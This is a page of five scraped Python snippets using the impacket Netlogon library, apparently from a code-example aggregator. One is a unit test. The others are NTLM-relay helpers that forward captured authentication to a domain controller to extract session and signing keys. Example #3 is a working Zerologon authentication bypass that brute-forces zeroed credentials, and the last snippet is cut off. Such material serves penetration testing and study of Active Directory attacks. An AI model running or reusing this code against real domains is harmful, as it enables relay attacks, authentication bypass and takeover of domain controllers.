Beispiel #1
0
    def test_NetrLogonSamLogonWithFlags(self):
        dce, rpctransport = self.connect()
        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = self.serverName + '\x00'
        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
        request['LogonInformation']['LogonInteractive']['Identity'][
            'LogonDomainName'] = self.domain
        request['LogonInformation']['LogonInteractive']['Identity'][
            'ParameterControl'] = 2 + 2**14 + 2**7 + 2**9 + 2**5 + 2**11
        request['LogonInformation']['LogonInteractive']['Identity'][
            'UserName'] = self.username
        request['LogonInformation']['LogonInteractive']['Identity'][
            'Workstation'] = ''
        if len(self.hashes) > 0:
            lmhash, nthash = self.hashes.split(':')
            lmhash = unhexlify(lmhash)
            nthash = unhexlify(nthash)
        else:
            lmhash = ntlm.LMOWFv1(self.password)
            nthash = ntlm.NTOWFv1(self.password)

        try:
            from Cryptodome.Cipher import ARC4
        except Exception:
            print(
                "Warning: You don't have any crypto installed. You need pycryptodomex"
            )
            print("See https://pypi.org/project/pycryptodomex/")

        rc4 = ARC4.new(self.sessionKey)
        lmhash = rc4.encrypt(lmhash)
        rc4 = ARC4.new(self.sessionKey)
        nthash = rc4.encrypt(nthash)

        request['LogonInformation']['LogonInteractive'][
            'LmOwfPassword'] = lmhash
        request['LogonInformation']['LogonInteractive'][
            'NtOwfPassword'] = nthash
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
        request['Authenticator'] = self.update_authenticator()
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        try:
            resp = dce.request(request)
            resp.dump()
        except Exception as e:
            if str(e).find('STATUS_NO_SUCH_USER') < 0:
                raise
Beispiel #2
0
def getSessionKey(computer, domain, domainIP, hashes, serverName, authMessage) :

    print ("Connecting to NETLOGON service : Authenticating Server")
    stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % domainIP
    rpctransport = transport.DCERPCTransportFactory(stringBinding)
    ntHash = unhexlify(hashes.split(':')[1])
    rpctransport.set_credentials(computer,"",domain,"",ntHash)
    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(nrpc.MSRPC_UUID_NRPC)
    resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName +"\x00",'12345678')
    serverChallenge = resp['ServerChallenge']
    sessionKey = nrpc.ComputeSessionKeyStrongKey('','12345678',serverChallenge, ntHash)
    ppp = nrpc.ComputeNetlogonCredential('12345678',sessionKey)
    nrpc.hNetrServerAuthenticate3(dce, NULL, computer+"\x00",nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF)
    clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)

    #SamLogonWithFlags
    print "Forwarding NTLM Response to DC"
    request = nrpc.NetrLogonSamLogonWithFlags()
    request['LogonServer'] = '\x00'
    request['ComputerName'] = serverName + '\x00'
    request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
    request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
    request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName']  = authMessage['domain_name'].decode('utf-16le')
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authMessage['user_name'].decode('utf-16le')
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
    request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = 'AAAAAAAA' #challenge
    request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authMessage['ntlm']
    request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authMessage['lanman']
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
    authenticator['Timestamp'] = 10
    request['Authenticator'] = authenticator
    request['ReturnAuthenticator']['Credential'] = '\x00'*8
    request['ReturnAuthenticator']['Timestamp'] = 0
    request['ExtraFlags'] = 0
    resp = dce.request(request)
    encryptedSessionKey = authMessage['session_key']
    sessionKey = generateEncryptedSessionKey(resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
    print "Retrieving Session Key from DC"
    return sessionKey
Beispiel #3
0
    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        LOG.info("Connecting to %s NETLOGON service" % self.target.netloc)

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2['ResponseToken'])
        domainName = authenticateMessage['domain_name'].decode('utf-16le')
        flags = authenticateMessage['flags']
        try:
            av_pairs = authenticateMessage['ntlm'][44:]
            av_pairs = AV_PAIRS(av_pairs)

            serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
        except:
            LOG.debug("Exception:", exc_info=True)
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        binding = epm.hept_map(self.target.netloc,
                               nrpc.MSRPC_UUID_NRPC,
                               protocol='ncacn_ip_tcp')

        dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        MAX_ATTEMPTS = 6000
        for attempt in range(0, MAX_ATTEMPTS):
            resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                                b'\x00' * 8)

            serverChallenge = resp['ServerChallenge']

            ppp = b'\x00' * 8
            try:
                nrpc.hNetrServerAuthenticate3(
                    dce, NULL, serverName + '$\x00',
                    nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
                    serverName + '\x00', ppp, 0x212effef)
            except nrpc.DCERPCSessionError as ex:
                # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
                if ex.get_error_code() == 0xc0000022:
                    continue
                else:
                    LOG.error('Unexpected error code from DC: %d.',
                              ex.get_error_code())
            except BaseException as ex:
                LOG.error('Unexpected error: %s', str(ex))
            LOG.info(
                'Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!',
                attempt)
            break
        else:
            LOG.error(
                'No success bypassing auth after 6000 attempts. Target likely patched!'
            )
            return
        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0]
        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = lflags
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = challenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator[
            'Credential'] = b'\x00' * 8  #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 0

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        #request.dump()
        try:
            resp = dce.request(request)
            #resp.dump()
        except DCERPCException as e:
            LOG.debug('Exception:', exc_info=True)
            LOG.error(str(e))
            return e.get_error_code()

        LOG.info(
            "%s\\%s successfully validated through NETLOGON" %
            (domainName, authenticateMessage['user_name'].decode('utf-16le')))

        encryptedSessionKey = authenticateMessage['session_key']
        if encryptedSessionKey != '':
            signingKey = generateEncryptedSessionKey(
                resp['ValidationInformation']['ValidationSam4']
                ['UserSessionKey'], encryptedSessionKey)
        else:
            signingKey = resp['ValidationInformation']['ValidationSam4'][
                'UserSessionKey']

        LOG.info("NTLM Sign/seal key: %s " %
                 hexlify(signingKey).decode('utf-8'))
        if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
            self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(
                flags, signingKey)
            self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(
                flags, signingKey, b"Server")
            self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(
                flags, signingKey)
            self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(
                flags, signingKey, b"Server")
            # Preparing the keys handle states
            cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey)
            self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt
            cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey)
            self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt
        else:
            # Same key for everything
            self.session._DCERPC_v5__clientSigningKey = signingKey
            self.session._DCERPC_v5__serverSigningKey = signingKey
            self.session._DCERPC_v5__clientSealingKey = signingKey
            self.session._DCERPC_v5__serverSealingKey = signingKey
            cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey)
            self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt
            self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt
        self.session._DCERPC_v5__sequence = 0
        self.session._DCERPC_v5__flags = flags
        return signingKey
Beispiel #4
0
    def netlogonSessionKey(self, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        logging.info("Connecting to %s NETLOGON service" %
                     self.serverConfig.domainIp)

        #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = NTLMAuthChallengeResponse()
        authenticateMessage.fromString(authenticateMessageBlob)
        _, machineAccount = self.serverConfig.machineAccount.split('/')
        domainName = authenticateMessage['domain_name'].decode('utf-16le')

        try:
            serverName = machineAccount[:len(machineAccount) - 1]
        except:
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if len(self.serverConfig.machineHashes) > 0:
            lmhash, nthash = self.serverConfig.machineHashes.split(':')
        else:
            lmhash = ''
            nthash = ''

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(machineAccount, '', domainName,
                                         lmhash, nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                            b'12345678')

        serverChallenge = resp['ServerChallenge']

        if self.serverConfig.machineHashes == '':
            ntHash = None
        else:
            ntHash = bytes.fromhex(
                self.serverConfig.machineHashes.split(':')[1])

        sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678',
                                                     serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)

        nrpc.hNetrServerAuthenticate3(
            dce, NULL, machineAccount + '\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            serverName + '\x00', ppp, 0x600FFFFF)

        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = 0
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = self.serverChallenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(
            clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 10

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        # request.dump()
        try:
            resp = dce.request(request)
            # resp.dump()
        except DCERPCException as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            return e.get_error_code()

        logging.info(
            "%s\\%s successfully validated through NETLOGON" %
            (domainName, authenticateMessage['user_name'].decode('utf-16le')))

        encryptedSessionKey = authenticateMessage['session_key']
        if encryptedSessionKey != b'':
            signingKey = generateEncryptedSessionKey(
                resp['ValidationInformation']['ValidationSam4']
                ['UserSessionKey'], encryptedSessionKey)
        else:
            signingKey = resp['ValidationInformation']['ValidationSam4'][
                'UserSessionKey']

        logging.info("SMB Signing key: %s " % signingKey.hex())

        return STATUS_SUCCESS, signingKey
Beispiel #5
0
    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        print "[*] Connecting to %s NETLOGON service" % self.domainIp

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = ntlm.NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2['ResponseToken'])
        _, machineAccount = self.machineAccount.split('/')
        domainName = authenticateMessage['domain_name'].decode('utf-16le')

        try:
            av_pairs = authenticateMessage['ntlm'][44:]
            av_pairs = ntlm.AV_PAIRS(av_pairs)

            serverName = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode(
                'utf-16le')
        except:
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if len(self.machineHashes) > 0:
            lmhash, nthash = self.machineHashes.split(':')
        else:
            lmhash = ''
            nthash = ''

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(machineAccount, '', domainName,
                                         lmhash, nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                            '12345678')

        serverChallenge = resp['ServerChallenge']

        if self.machineHashes == '':
            ntHash = None
        else:
            ntHash = self.machineHashes.split(':')[1].decode('hex')

        sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678',
                                                     serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)

        resp = nrpc.hNetrServerAuthenticate3(
            dce, NULL, machineAccount + '\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            serverName + '\x00', ppp, 0x600FFFFF)

        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = 0
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = challenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(
            clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 10

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = '\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        #request.dump()
        try:
            resp = dce.request(request)
            #resp.dump()
        except Exception, e:
            #import traceback
            #print traceback.print_exc()
            print "[!] %s " % e
            return e.get_error_code()